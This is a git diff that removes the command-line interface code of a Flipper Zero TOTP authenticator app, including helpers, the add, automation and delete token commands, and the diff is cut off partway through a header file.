file mode 100644 index 226917237..000000000 --- a/applications/external/totp/cli/cli_helpers.c +++ /dev/null @@ -1,123 +0,0 @@ -#include "cli_helpers.h" -#include -#include -#include "../types/plugin_event.h" - -const char* TOTP_CLI_COLOR_ERROR = "91m"; -const char* TOTP_CLI_COLOR_WARNING = "93m"; -const char* TOTP_CLI_COLOR_SUCCESS = "92m"; -const char* TOTP_CLI_COLOR_INFO = "96m"; - -bool totp_cli_ensure_authenticated(const PluginState* plugin_state, Cli* cli) { - if(plugin_state->current_scene == TotpSceneAuthentication) { - TOTP_CLI_PRINTF("Pleases enter PIN on your flipper device\r\n"); - - while((plugin_state->current_scene == TotpSceneAuthentication || - plugin_state->current_scene == TotpSceneNone) && - !cli_cmd_interrupt_received(cli)) { - furi_delay_ms(100); - } - - totp_cli_delete_last_line(); - - if(plugin_state->current_scene == TotpSceneAuthentication || //-V560 - plugin_state->current_scene == TotpSceneNone) { //-V560 - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - return false; - } - } - - return true; -} - -void totp_cli_force_close_app(FuriMessageQueue* event_queue) { - PluginEvent event = {.type = EventForceCloseApp}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -bool totp_cli_read_line(Cli* cli, FuriString* out_str, bool mask_user_input) { - uint8_t c; - while(cli_read(cli, &c, 1) == 1) { - if(c == CliSymbolAsciiEsc) { - // Some keys generating escape-sequences - // We need to ignore them as we care about alpha-numerics only - uint8_t c2; - cli_read_timeout(cli, &c2, 1, 0); - cli_read_timeout(cli, &c2, 1, 0); - } else if(c == CliSymbolAsciiETX) { - cli_nl(); - return false; - } else if( - (c >= '0' && c <= '9') || (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || - c == '/' || c == '=' || c == '+') { - if(mask_user_input) { - putc('*', stdout); - } else { - putc(c, stdout); - } - fflush(stdout); - furi_string_push_back(out_str, c); - } else if(c == CliSymbolAsciiBackspace || c == CliSymbolAsciiDel) { - size_t out_str_size = furi_string_size(out_str); - if(out_str_size > 0) { - totp_cli_delete_last_char(); - furi_string_left(out_str, out_str_size - 1); - } - } else if(c == CliSymbolAsciiCR) { - cli_nl(); - break; - } - } - - return true; -} - -bool args_read_uint8_and_trim(FuriString* args, uint8_t* value) { - int int_value; - if(!args_read_int_and_trim(args, &int_value) || int_value < 0 || int_value > UINT8_MAX) { - return false; - } - - *value = (uint8_t)int_value; - return true; -} - -void furi_string_secure_free(FuriString* str) { - for(long i = furi_string_size(str) - 1; i >= 0; i--) { - furi_string_set_char(str, i, '\0'); - } - - furi_string_free(str); -} - -void totp_cli_print_invalid_arguments() { - TOTP_CLI_PRINTF_ERROR( - "Invalid command arguments. use \"help\" command to get list of available commands"); -} - -void totp_cli_print_error_updating_config_file() { - TOTP_CLI_PRINTF_ERROR("An error has occurred during updating config file\r\n"); -} - -void totp_cli_print_error_loading_token_info() { - TOTP_CLI_PRINTF_ERROR("An error has occurred during loading token information\r\n"); -} - -void totp_cli_print_processing() { - TOTP_CLI_PRINTF("Processing, please wait...\r\n"); -} - -void totp_cli_delete_last_char() { - TOTP_CLI_PRINTF("\b \b"); - fflush(stdout); -} - -void totp_cli_delete_current_line() { - TOTP_CLI_PRINTF("\33[2K\r"); - fflush(stdout); -} - -void totp_cli_delete_last_line() { - TOTP_CLI_PRINTF("\033[A\33[2K\r"); - fflush(stdout); -} diff --git a/applications/external/totp/cli/cli_helpers.h b/applications/external/totp/cli/cli_helpers.h deleted file mode 100644 index 9c40bff13..000000000 --- a/applications/external/totp/cli/cli_helpers.h +++ /dev/null @@ -1,116 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_NAME "totp" - -#define DOCOPT_ARGUMENT(arg) "<" arg ">" -#define DOCOPT_MULTIPLE(arg) arg "..." -#define DOCOPT_OPTIONAL(param) "[" param "]" -#define DOCOPT_REQUIRED(param) "(" param ")" -#define DOCOPT_OPTION(option, value) option " " value -#define DOCOPT_SWITCH(option) option -#define DOCOPT_OPTIONS "[options]" -#define DOCOPT_DEFAULT(val) "[default: " val "]" - -extern const char* TOTP_CLI_COLOR_ERROR; -extern const char* TOTP_CLI_COLOR_WARNING; -extern const char* TOTP_CLI_COLOR_SUCCESS; -extern const char* TOTP_CLI_COLOR_INFO; - -#define TOTP_CLI_PRINTF(format, ...) printf(format, ##__VA_ARGS__) - -#define TOTP_CLI_PRINTF_COLORFUL(color, format, ...) \ - TOTP_CLI_PRINTF("\e[%s" format "\e[0m", color, ##__VA_ARGS__) - -#define TOTP_CLI_PRINTF_ERROR(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_ERROR, format, ##__VA_ARGS__) -#define TOTP_CLI_PRINTF_WARNING(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_WARNING, format, ##__VA_ARGS__) -#define TOTP_CLI_PRINTF_SUCCESS(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_SUCCESS, format, ##__VA_ARGS__) -#define TOTP_CLI_PRINTF_INFO(format, ...) \ - TOTP_CLI_PRINTF_COLORFUL(TOTP_CLI_COLOR_INFO, format, ##__VA_ARGS__) - -#define TOTP_CLI_LOCK_UI(plugin_state) \ - Scene __previous_scene = plugin_state->current_scene; \ - totp_scene_director_activate_scene(plugin_state, TotpSceneStandby); \ - totp_scene_director_force_redraw(plugin_state) - -#define TOTP_CLI_UNLOCK_UI(plugin_state) \ - totp_scene_director_activate_scene(plugin_state, __previous_scene); \ - totp_scene_director_force_redraw(plugin_state) - -/** - * @brief Checks whether user is authenticated and entered correct PIN. - * If user is not authenticated it prompts user to enter correct PIN to authenticate. - * @param plugin_state application state - * @param cli pointer to the firmware CLI subsystem - * @return \c true if user is already authenticated or successfully authenticated; \c false otherwise - */ -bool totp_cli_ensure_authenticated(const PluginState* plugin_state, Cli* cli); - -/** - * @brief Forces application to be instantly closed - * @param event_queue main app queue - */ -void totp_cli_force_close_app(FuriMessageQueue* event_queue); - -/** - * @brief Reads line of characters from console - * @param cli pointer to the firmware CLI subsystem - * @param out_str pointer to an output string to put read line to - * @param mask_user_input whether to mask input characters in console or not - * @return \c true if line successfully read and confirmed; \c false otherwise - */ -bool totp_cli_read_line(Cli* cli, FuriString* out_str, bool mask_user_input); - -/** - * @brief Extracts \c uint8_t value and trims arguments string - * @param args arguments string - * @param[out] value parsed value - * @return \c true if value successfully read and parsed as \c uint8_t ; \c false otherwise - */ -bool args_read_uint8_and_trim(FuriString* args, uint8_t* value); - -/** - * @brief Free \c FuriString instance in a secure manner by clearing it first - * @param str instance to free - */ -void furi_string_secure_free(FuriString* str); - -/** - * @brief Deletes last printed line in console - */ -void totp_cli_delete_last_line(); - -/** - * @brief Deletes current printed line in console - */ -void totp_cli_delete_current_line(); - -/** - * @brief Deletes last printed char in console - */ -void totp_cli_delete_last_char(); - -/** - * @brief Prints error message about invalid command arguments - */ -void totp_cli_print_invalid_arguments(); - -/** - * @brief Prints error message about config file update error - */ -void totp_cli_print_error_updating_config_file(); - -/** - * @brief Prints error message about config file loading error - */ -void totp_cli_print_error_loading_token_info(); - -/** - * @brief Prints message to let user know that command is processing now - */ -void totp_cli_print_processing(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/add/add.c b/applications/external/totp/cli/commands/add/add.c deleted file mode 100644 index 5e5435eec..000000000 --- a/applications/external/totp/cli/commands/add/add.c +++ /dev/null @@ -1,192 +0,0 @@ -#include "add.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../../services/convert/convert.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -struct TotpAddContext { - FuriString* args; - Cli* cli; - const CryptoSettings* crypto_settings; -}; - -enum TotpIteratorUpdateTokenResultsEx { - TotpIteratorUpdateTokenResultInvalidSecret = 1, - TotpIteratorUpdateTokenResultCancelled = 2, - TotpIteratorUpdateTokenResultInvalidArguments = 3 -}; - -static TotpIteratorUpdateTokenResult - add_token_handler(TokenInfo* token_info, const void* context) { - const struct TotpAddContext* context_t = context; - - // Reading token name - if(!args_read_probably_quoted_string_and_trim(context_t->args, token_info->name)) { - return TotpIteratorUpdateTokenResultInvalidArguments; - } - - FuriString* temp_str = furi_string_alloc(); - - // Read optional arguments - bool mask_user_input = true; - PlainTokenSecretEncoding token_secret_encoding = PlainTokenSecretEncodingBase32; - while(args_read_string_and_trim(context_t->args, temp_str)) { - bool parsed = false; - if(!totp_cli_try_read_algo(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_digits(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_duration(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_unsecure_flag(temp_str, &parsed, &mask_user_input) && - !totp_cli_try_read_automation_features(token_info, temp_str, context_t->args, &parsed) && - !totp_cli_try_read_plain_token_secret_encoding( - temp_str, context_t->args, &parsed, &token_secret_encoding)) { - totp_cli_printf_unknown_argument(temp_str); - } - - if(!parsed) { - furi_string_free(temp_str); - return TotpIteratorUpdateTokenResultInvalidArguments; - } - } - - // Reading token secret - furi_string_reset(temp_str); - TOTP_CLI_PRINTF("Enter token secret and confirm with [ENTER]:\r\n"); - if(!totp_cli_read_line(context_t->cli, temp_str, mask_user_input)) { - totp_cli_delete_last_line(); - furi_string_secure_free(temp_str); - return TotpIteratorUpdateTokenResultCancelled; - } - - totp_cli_delete_last_line(); - - bool secret_set = token_info_set_secret( - token_info, - furi_string_get_cstr(temp_str), - furi_string_size(temp_str), - token_secret_encoding, - context_t->crypto_settings); - - furi_string_secure_free(temp_str); - - if(!secret_set) { - return TotpIteratorUpdateTokenResultInvalidSecret; - } - - return TotpIteratorUpdateTokenResultSuccess; -} - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_add_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ADD ", " TOTP_CLI_COMMAND_ADD_ALT - ", " TOTP_CLI_COMMAND_ADD_ALT2 " Add new token\r\n"); -} - -void totp_cli_command_add_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_ADD " | " TOTP_CLI_COMMAND_ADD_ALT " | " TOTP_CLI_COMMAND_ADD_ALT2) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_NAME) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_ALGO_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_ALGO))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_SECRET_ENCODING))) " " DOCOPT_OPTIONAL( - DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DIGITS))) " " DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_DURATION_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_DURATION))) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX)) " " DOCOPT_MULTIPLE(DOCOPT_OPTIONAL(DOCOPT_OPTION(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX, DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE)))) "\r\n"); -} - -void totp_cli_command_add_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ARG_NAME " Token name\r\n"); -} - -void totp_cli_command_add_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_ALGO_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_ALGO)) " Token hashing algorithm. Must be one of: " TOKEN_HASH_ALGO_SHA1_NAME - ", " TOKEN_HASH_ALGO_SHA256_NAME - ", " TOKEN_HASH_ALGO_SHA512_NAME - ", " TOKEN_HASH_ALGO_STEAM_NAME - " " DOCOPT_DEFAULT(TOKEN_HASH_ALGO_SHA1_NAME) "\r\n"); - TOTP_CLI_PRINTF( - " " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DIGITS_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DIGITS)) " Number of digits to generate, one of: %" PRIu8 - ", %" PRIu8 ", %" PRIu8 - " " DOCOPT_DEFAULT("%" PRIu8) "\r\n", - TokenDigitsCountFive, - TokenDigitsCountSix, - TokenDigitsCountEight, - TokenDigitsCountSix); - - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_SECRET_ENCODING_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_SECRET_ENCODING)) " Token secret encoding, one of " PLAIN_TOKEN_ENCODING_BASE32_NAME - ", " PLAIN_TOKEN_ENCODING_BASE64_NAME - " " DOCOPT_DEFAULT( - PLAIN_TOKEN_ENCODING_BASE32_NAME) "\r\n"); - - TOTP_CLI_PRINTF( - " " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_DURATION_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_DURATION)) " Token lifetime duration in seconds, between: %" PRIu8 - " and %" PRIu8 - " " DOCOPT_DEFAULT("%" PRIu8) "\r\n", - TokenDurationMin, - TokenDurationMax, - TokenDurationDefault); - TOTP_CLI_PRINTF(" " DOCOPT_SWITCH( - TOTP_CLI_COMMAND_ARG_UNSECURE_PREFIX) " Show console user input as-is without masking\r\n"); - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_AUTOMATION_FEATURE)) " Token automation features to be enabled. Must be one of: " TOKEN_AUTOMATION_FEATURE_NONE_NAME - ", " TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME - ", " TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME - " " DOCOPT_DEFAULT( - TOKEN_AUTOMATION_FEATURE_NONE_NAME) "\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_NONE_NAME " - No features\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME - " - Type key at the end of token input automation\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME - " - Type key at the end of token input automation\r\n"); - TOTP_CLI_PRINTF(" # " TOKEN_AUTOMATION_FEATURE_TYPE_SLOWER_NAME - " - Type slower\r\n"); -} -#endif - -void totp_cli_command_add_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - - TOTP_CLI_LOCK_UI(plugin_state); - - struct TotpAddContext add_context = { - .args = args, .cli = cli, .crypto_settings = &plugin_state->crypto_settings}; - TotpIteratorUpdateTokenResult add_result = - totp_token_info_iterator_add_new_token(iterator_context, &add_token_handler, &add_context); - - if(add_result == TotpIteratorUpdateTokenResultSuccess) { - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully added\r\n", - furi_string_get_cstr( - totp_token_info_iterator_get_current_token(iterator_context)->name)); - } else if(add_result == TotpIteratorUpdateTokenResultCancelled) { - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - } else if(add_result == TotpIteratorUpdateTokenResultInvalidArguments) { - totp_cli_print_invalid_arguments(); - } else if(add_result == TotpIteratorUpdateTokenResultInvalidSecret) { - TOTP_CLI_PRINTF_ERROR("Token secret seems to be invalid and can not be parsed\r\n"); - } else if(add_result == TotpIteratorUpdateTokenResultFileUpdateFailed) { - totp_cli_print_error_updating_config_file(); - } - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/add/add.h b/applications/external/totp/cli/commands/add/add.h deleted file mode 100644 index ac2006c12..000000000 --- a/applications/external/totp/cli/commands/add/add.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once - -#include -#include "../../../config/app/config.h" -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_ADD "add" -#define TOTP_CLI_COMMAND_ADD_ALT "mk" -#define TOTP_CLI_COMMAND_ADD_ALT2 "new" - -void totp_cli_command_add_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_add_docopt_commands(); -void totp_cli_command_add_docopt_usage(); -void totp_cli_command_add_docopt_arguments(); -void totp_cli_command_add_docopt_options(); -#endif \ No newline at end of file diff --git a/applications/external/totp/cli/commands/automation/automation.c b/applications/external/totp/cli/commands/automation/automation.c deleted file mode 100644 index 113393130..000000000 --- a/applications/external/totp/cli/commands/automation/automation.c +++ /dev/null @@ -1,186 +0,0 @@ -#include "automation.h" -#include -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -#define TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD "automation" -#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "none" -#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "usb" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#define TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "bt" -#endif -#define TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY "QWERTY" -#define TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY "AZERTY" -#define TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX "-k" -#define TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT "layout" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_automation_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_AUTOMATION " Get or set automation settings\r\n"); -} - -void totp_cli_command_automation_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_AUTOMATION " " DOCOPT_OPTIONAL(DOCOPT_OPTION( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT))) " " DOCOPT_OPTIONAL(DOCOPT_MULTIPLE(DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD))) "\r\n"); -} - -void totp_cli_command_automation_docopt_arguments() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_AUTOMATION_ARG_METHOD - " Automation method to be set. Must be one of: " TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE - ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - ", " TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT -#endif - "\r\n"); -} - -void totp_cli_command_automation_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_OPTION( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT)) " Automation keyboard layout. Must be one of: " TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY - ", " TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY - "\r\n"); -} -#endif - -static void print_method(AutomationMethod method, const char* color) { -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - bool has_previous_method = false; -#endif - if(method & AutomationMethodBadUsb) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB "\""); -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - has_previous_method = true; -#endif - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(method & AutomationMethodBadBt) { - if(has_previous_method) { - TOTP_CLI_PRINTF_COLORFUL(color, " and "); - } - - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT "\""); - } -#endif - - if(method == AutomationMethodNone) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE "\""); - } -} - -static void print_kb_layout(AutomationKeyboardLayout layout, const char* color) { - char* layoutToPrint; - switch(layout) { - case AutomationKeyboardLayoutQWERTY: - layoutToPrint = TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY; - break; - case AutomationKeyboardLayoutAZERTY: - layoutToPrint = TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY; - break; - default: - furi_crash("Unknown automation keyboard layout"); - break; - } - - TOTP_CLI_PRINTF_COLORFUL(color, "%s", layoutToPrint); -} - -static bool - parse_automation_keyboard_layout(const FuriString* str, AutomationKeyboardLayout* out) { - bool result = true; - if(furi_string_cmpi_str(str, TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_QWERTY) == 0) { - *out = AutomationKeyboardLayoutQWERTY; - } else if(furi_string_cmpi_str(str, TOTP_CLI_COMMAND_AUTOMATION_LAYOUT_AZERTY) == 0) { - *out = AutomationKeyboardLayoutAZERTY; - } else { - result = false; - } - - return result; -} - -void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - FuriString* temp_str = furi_string_alloc(); - bool new_method_provided = false; - AutomationMethod new_method = AutomationMethodNone; - AutomationKeyboardLayout new_kb_layout = plugin_state->automation_kb_layout; - bool args_valid = true; - while(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_NONE) == 0) { - new_method_provided = true; - new_method = AutomationMethodNone; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_USB) == 0) { - new_method_provided = true; - new_method |= AutomationMethodBadUsb; - } -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_METHOD_BT) == 0) { - new_method_provided = true; - new_method |= AutomationMethodBadBt; - } -#endif - else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_AUTOMATION_ARG_KB_LAYOUT_PREFIX) == 0) { - if(!args_read_string_and_trim(args, temp_str) || - !parse_automation_keyboard_layout(temp_str, &new_kb_layout)) { - args_valid = false; - break; - } - } else { - args_valid = false; - break; - } - } - - do { - if(!args_valid) { - totp_cli_print_invalid_arguments(); - break; - } - - if(new_method_provided) { - TOTP_CLI_LOCK_UI(plugin_state); - - plugin_state->automation_method = new_method; - plugin_state->automation_kb_layout = new_kb_layout; - if(totp_config_file_update_automation_method(plugin_state)) { - TOTP_CLI_PRINTF_SUCCESS("Automation method is set to "); - print_method(new_method, TOTP_CLI_COLOR_SUCCESS); - TOTP_CLI_PRINTF_SUCCESS(" ("); - print_kb_layout(plugin_state->automation_kb_layout, TOTP_CLI_COLOR_SUCCESS); - TOTP_CLI_PRINTF_SUCCESS(")"); - cli_nl(); - } else { - totp_cli_print_error_updating_config_file(); - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(!(new_method & AutomationMethodBadBt) && - plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - TOTP_CLI_UNLOCK_UI(plugin_state); - } else { - TOTP_CLI_PRINTF_INFO("Current automation method is "); - print_method(plugin_state->automation_method, TOTP_CLI_COLOR_INFO); - TOTP_CLI_PRINTF_INFO(" ("); - print_kb_layout(plugin_state->automation_kb_layout, TOTP_CLI_COLOR_INFO); - TOTP_CLI_PRINTF_INFO(")"); - cli_nl(); - } - } while(false); - - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/automation/automation.h b/applications/external/totp/cli/commands/automation/automation.h deleted file mode 100644 index 522bfc560..000000000 --- a/applications/external/totp/cli/commands/automation/automation.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_AUTOMATION "automation" - -void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_automation_docopt_commands(); -void totp_cli_command_automation_docopt_usage(); -void totp_cli_command_automation_docopt_arguments(); -void totp_cli_command_automation_docopt_options(); -#endif \ No newline at end of file diff --git a/applications/external/totp/cli/commands/delete/delete.c b/applications/external/totp/cli/commands/delete/delete.c deleted file mode 100644 index d9cea4803..000000000 --- a/applications/external/totp/cli/commands/delete/delete.c +++ /dev/null @@ -1,108 +0,0 @@ -#include "delete.h" - -#include -#include -#include -#include "../../../services/config/config.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX "-f" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_delete_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DELETE ", " TOTP_CLI_COMMAND_DELETE_ALT - " Delete existing token\r\n"); -} - -void totp_cli_command_delete_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_DELETE " | " TOTP_CLI_COMMAND_DELETE_ALT) " " DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_INDEX) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX)) "\r\n"); -} - -void totp_cli_command_delete_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ARG_INDEX " Token index in the list\r\n"); -} - -void totp_cli_command_delete_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_SWITCH( - TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX) " Force command to do not ask user for interactive confirmation\r\n"); -} -#endif - -void totp_cli_command_delete_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - - int token_number; - if(!args_read_int_and_trim(args, &token_number) || token_number <= 0 || - (size_t)token_number > totp_token_info_iterator_get_total_count(iterator_context)) { - totp_cli_print_invalid_arguments(); - return; - } - - FuriString* temp_str = furi_string_alloc(); - bool confirm_needed = true; - if(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX) == 0) { - confirm_needed = false; - } else { - totp_cli_printf_unknown_argument(temp_str); - totp_cli_print_invalid_arguments(); - furi_string_free(temp_str); - return; - } - } - furi_string_free(temp_str); - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t original_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_token_info_iterator_go_to(iterator_context, token_number - 1); - const TokenInfo* token_info = totp_token_info_iterator_get_current_token(iterator_context); - const char* token_info_name = furi_string_get_cstr(token_info->name); - - bool confirmed = !confirm_needed; - if(confirm_needed) { - TOTP_CLI_PRINTF_WARNING("WARNING!\r\n"); - TOTP_CLI_PRINTF_WARNING( - "TOKEN \"%s\" WILL BE PERMANENTLY DELETED WITHOUT ABILITY TO RECOVER IT.\r\n", - token_info_name); - TOTP_CLI_PRINTF_WARNING("Confirm? [y/n]\r\n"); - fflush(stdout); - char user_pick; - do { - user_pick = tolower(cli_getc(cli)); - } while(user_pick != 'y' && user_pick != 'n' && user_pick != CliSymbolAsciiCR && - user_pick != CliSymbolAsciiETX && user_pick != CliSymbolAsciiEsc); - - confirmed = user_pick == 'y' || user_pick == CliSymbolAsciiCR; - } - - if(confirmed) { - totp_cli_print_processing(); - if(totp_token_info_iterator_remove_current_token_info(iterator_context)) { - totp_cli_delete_last_line(); - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully deleted\r\n", token_info_name); - totp_token_info_iterator_go_to(iterator_context, 0); - } else { - totp_cli_delete_last_line(); - totp_cli_print_error_updating_config_file(); - totp_token_info_iterator_go_to(iterator_context, original_token_index); - } - } else { - TOTP_CLI_PRINTF_INFO("User has not confirmed\r\n"); - totp_token_info_iterator_go_to(iterator_context, original_token_index); - } - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/delete/delete.h b/applications/external/totp/cli/commands/delete/delete.h deleted file mode 100644 index 98b15e595..000000000 --- a/applications/external/totp/cli/commands/delete/delete.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_DELETE "delete" -#define TOTP_CLI_COMMAND_DELETE_ALT "rm" - 